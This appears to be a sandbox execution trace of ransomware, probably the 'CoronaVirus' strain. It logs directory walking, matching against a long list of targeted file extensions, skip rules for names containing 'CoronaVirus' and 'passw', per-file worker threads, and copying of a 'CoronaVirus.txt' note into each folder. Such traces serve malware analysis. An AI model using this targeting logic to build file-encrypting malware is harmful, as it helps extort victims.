	[0080.311] wcsstr (_Str=".odt", _SubStr=".rtf") returned 0x0
	[0080.311] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.311] wcsstr (_Str=".ods", _SubStr=".rtf") returned 0x0
	[0080.311] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.311] wcsstr (_Str=".rar", _SubStr=".rtf") returned 0x0
	[0080.311] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.311] wcsstr (_Str=".zip", _SubStr=".rtf") returned 0x0
	[0080.311] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.311] wcsstr (_Str=".cpp", _SubStr=".rtf") returned 0x0
	[0080.311] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.311] wcsstr (_Str=".pas", _SubStr=".rtf") returned 0x0
	[0080.311] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.311] wcsstr (_Str=".asm", _SubStr=".rtf") returned 0x0
	[0080.311] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.311] wcsstr (_Str=".rtf", _SubStr=".rtf") returned=".rtf"
	[0080.311] malloc (_Size=0x1000) returned 0x2f174c0
	[0080.311] _swprintf (in: param_1=0x2f174c0, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35
	[0080.311] wcsstr (_Str="C:\\588bce7c90097ed212\\1033\\eula.rtf", _SubStr="CoronaVirus") returned 0x0
	[0080.311] wcsstr (_Str="C:\\588bce7c90097ed212\\1033\\eula.rtf", _SubStr="wasse") returned 0x0
	[0080.311] wcsstr (_Str="C:\\588bce7c90097ed212\\1033\\eula.rtf", _SubStr="passw") returned 0x0
	[0080.311] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f174c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x428
	[0080.312] SetThreadPriority (hThread=0x428, nPriority=15) returned 1
	[0080.487] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x47ad1a00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x47ad1a00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x47ad1a00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0080.487] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0080.487] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0080.487] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.487] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0080.487] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.487] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0080.487] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.487] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0080.487] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.487] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0080.487] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.487] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0080.487] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.487] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0080.487] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.487] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0080.487] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.487] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0080.487] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.487] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0080.487] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.487] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0080.487] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.487] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0080.487] malloc (_Size=0x1000) returned 0x2f16298
	[0080.487] _swprintf (in: param_1=0x2f16298, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0080.487] wcsstr (_Str="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", _SubStr="CoronaVirus") returned 0x0
	[0080.487] wcsstr (_Str="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", _SubStr="wasse") returned 0x0
	[0080.487] wcsstr (_Str="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml", _SubStr="passw") returned 0x0
	[0080.488] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f16298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x434
	[0080.498] SetThreadPriority (hThread=0x434, nPriority=15) returned 1
	[0080.500] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0080.501] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0080.501] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0080.501] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.501] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0080.501] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.501] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0080.501] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.507] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0080.507] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.507] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0080.507] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.507] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0080.508] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.508] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0080.508] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.508] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0080.508] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.508] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0080.508] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.508] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0080.514] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.514] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0080.517] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.519] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0080.519] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.519] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0080.519] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.519] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0080.519] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.519] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0080.519] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.519] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0080.519] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.519] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0080.519] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.519] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0080.519] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.519] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0080.519] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.519] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0080.519] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.519] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0080.519] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.519] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0080.519] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.519] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0080.519] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.519] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0080.519] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.519] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0080.519] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.519] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0080.519] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.519] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0080.519] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.519] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0080.520] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.520] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0080.520] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.520] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0080.520] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.520] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0080.520] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.520] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0080.520] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.520] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0080.520] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.520] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0080.520] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.520] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0080.520] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.520] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0080.520] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.520] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0080.520] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.520] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0080.520] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.520] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0080.520] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.520] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0080.520] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.520] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0080.520] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.520] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0080.520] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.520] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0080.520] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.520] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0080.520] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.520] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0080.520] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.520] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0080.520] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.520] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0080.521] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.521] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0080.521] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.521] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0080.521] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.521] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0080.521] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.521] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0080.521] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.521] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0080.521] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.521] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0080.521] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.521] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0080.521] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.521] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0080.521] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.521] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0080.521] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0080.521] FindClose (in: hFindFile=0x600750 | out: hFindFile=0x600750) returned 1
	[0080.521] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1035", cAlternateFileName="")) returned 1
	[0080.521] wcsncmp (_String1="1", _String2=".", _MaxCount=0x1) returned 3
	[0080.521] wcsncmp (_String1="10", _String2="..", _MaxCount=0x2) returned 3
	[0080.521] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1035") returned 26
	[0080.521] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0080.521] wcsstr (_Str="C:\\588bce7c90097ed212\\1035", _SubStr="Microsoft\\Windows") returned 0x0
	[0080.521] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\1035\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\1035\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0080.526] _alloca_probe () returned 0x4036d0
	[0080.526] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1035", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\1035", lpFilePart=0x316583c*="1035") returned 0x1a
	[0080.526] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1035\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe9598c27, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600750
	[0080.526] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0080.526] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe9598c27, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.526] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0080.527] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9598c27, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xe9598c27, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0080.527] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0080.527] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0080.527] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0080.527] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0080.527] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0080.527] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0080.527] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0080.527] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0080.527] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0080.527] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0080.527] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0080.527] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0080.527] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0080.527] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0080.527] malloc (_Size=0x1000) returned 0x2f172a0
	[0080.527] _swprintf (in: param_1=0x2f172a0, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1035\\CoronaVirus.txt") returned 42
	[0080.527] wcsstr (_Str="C:\\588bce7c90097ed212\\1035\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0080.527] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0080.527] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0080.527] wcsncmp (_String1="eu", _String2="..", _MaxCount=0x2) returned 55
	[0080.527] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.527] wcsstr (_Str=".bak", _SubStr=".rtf") returned 0x0
	[0080.527] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.527] wcsstr (_Str=".bat", _SubStr=".rtf") returned 0x0
	[0080.527] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.527] wcsstr (_Str=".doc", _SubStr=".rtf") returned 0x0
	[0080.527] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.527] wcsstr (_Str=".jpg", _SubStr=".rtf") returned 0x0
	[0080.527] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.527] wcsstr (_Str=".jpe", _SubStr=".rtf") returned 0x0
	[0080.527] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.527] wcsstr (_Str=".txt", _SubStr=".rtf") returned 0x0
	[0080.527] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.528] wcsstr (_Str=".tex", _SubStr=".rtf") returned 0x0
	[0080.528] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.528] wcsstr (_Str=".dbf", _SubStr=".rtf") returned 0x0
	[0080.528] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.528] wcsstr (_Str=".xls", _SubStr=".rtf") returned 0x0
	[0080.528] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.528] wcsstr (_Str=".cry", _SubStr=".rtf") returned 0x0
	[0080.528] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.528] wcsstr (_Str=".xml", _SubStr=".rtf") returned 0x0
	[0080.528] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.528] wcsstr (_Str=".vsd", _SubStr=".rtf") returned 0x0
	[0080.528] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.528] wcsstr (_Str=".pdf", _SubStr=".rtf") returned 0x0
	[0080.528] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.528] wcsstr (_Str=".csv", _SubStr=".rtf") returned 0x0
	[0080.528] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.528] wcsstr (_Str=".bmp", _SubStr=".rtf") returned 0x0
	[0080.528] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.528] wcsstr (_Str=".tif", _SubStr=".rtf") returned 0x0
	[0080.528] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.528] wcsstr (_Str=".1cd", _SubStr=".rtf") returned 0x0
	[0080.528] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.528] wcsstr (_Str=".tax", _SubStr=".rtf") returned 0x0
	[0080.528] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.528] wcsstr (_Str=".gif", _SubStr=".rtf") returned 0x0
	[0080.528] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.528] wcsstr (_Str=".gbr", _SubStr=".rtf") returned 0x0
	[0080.528] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.528] wcsstr (_Str=".png", _SubStr=".rtf") returned 0x0
	[0080.528] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.528] wcsstr (_Str=".mdb", _SubStr=".rtf") returned 0x0
	[0080.528] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.528] wcsstr (_Str=".mdf", _SubStr=".rtf") returned 0x0
	[0080.528] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.528] wcsstr (_Str=".sdf", _SubStr=".rtf") returned 0x0
	[0080.528] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.528] wcsstr (_Str=".dwg", _SubStr=".rtf") returned 0x0
	[0080.528] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.528] wcsstr (_Str=".dxf", _SubStr=".rtf") returned 0x0
	[0080.529] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.529] wcsstr (_Str=".dgn", _SubStr=".rtf") returned 0x0
	[0080.529] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.529] wcsstr (_Str=".stl", _SubStr=".rtf") returned 0x0
	[0080.529] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.529] wcsstr (_Str=".gho", _SubStr=".rtf") returned 0x0
	[0080.529] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.529] wcsstr (_Str=".v2i", _SubStr=".rtf") returned 0x0
	[0080.529] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.529] wcsstr (_Str=".3ds", _SubStr=".rtf") returned 0x0
	[0080.529] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.529] wcsstr (_Str=".ppt", _SubStr=".rtf") returned 0x0
	[0080.529] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.529] wcsstr (_Str=".acc", _SubStr=".rtf") returned 0x0
	[0080.529] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.529] wcsstr (_Str=".vpd", _SubStr=".rtf") returned 0x0
	[0080.529] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.529] wcsstr (_Str=".odt", _SubStr=".rtf") returned 0x0
	[0080.529] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.529] wcsstr (_Str=".ods", _SubStr=".rtf") returned 0x0
	[0080.529] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.529] wcsstr (_Str=".rar", _SubStr=".rtf") returned 0x0
	[0080.529] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.529] wcsstr (_Str=".zip", _SubStr=".rtf") returned 0x0
	[0080.529] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.529] wcsstr (_Str=".cpp", _SubStr=".rtf") returned 0x0
	[0080.529] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.529] wcsstr (_Str=".pas", _SubStr=".rtf") returned 0x0
	[0080.529] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.529] wcsstr (_Str=".asm", _SubStr=".rtf") returned 0x0
	[0080.529] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.529] wcsstr (_Str=".rtf", _SubStr=".rtf") returned=".rtf"
	[0080.529] malloc (_Size=0x1000) returned 0x2f182a8
	[0080.530] _swprintf (in: param_1=0x2f182a8, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0080.530] wcsstr (_Str="C:\\588bce7c90097ed212\\1035\\eula.rtf", _SubStr="CoronaVirus") returned 0x0
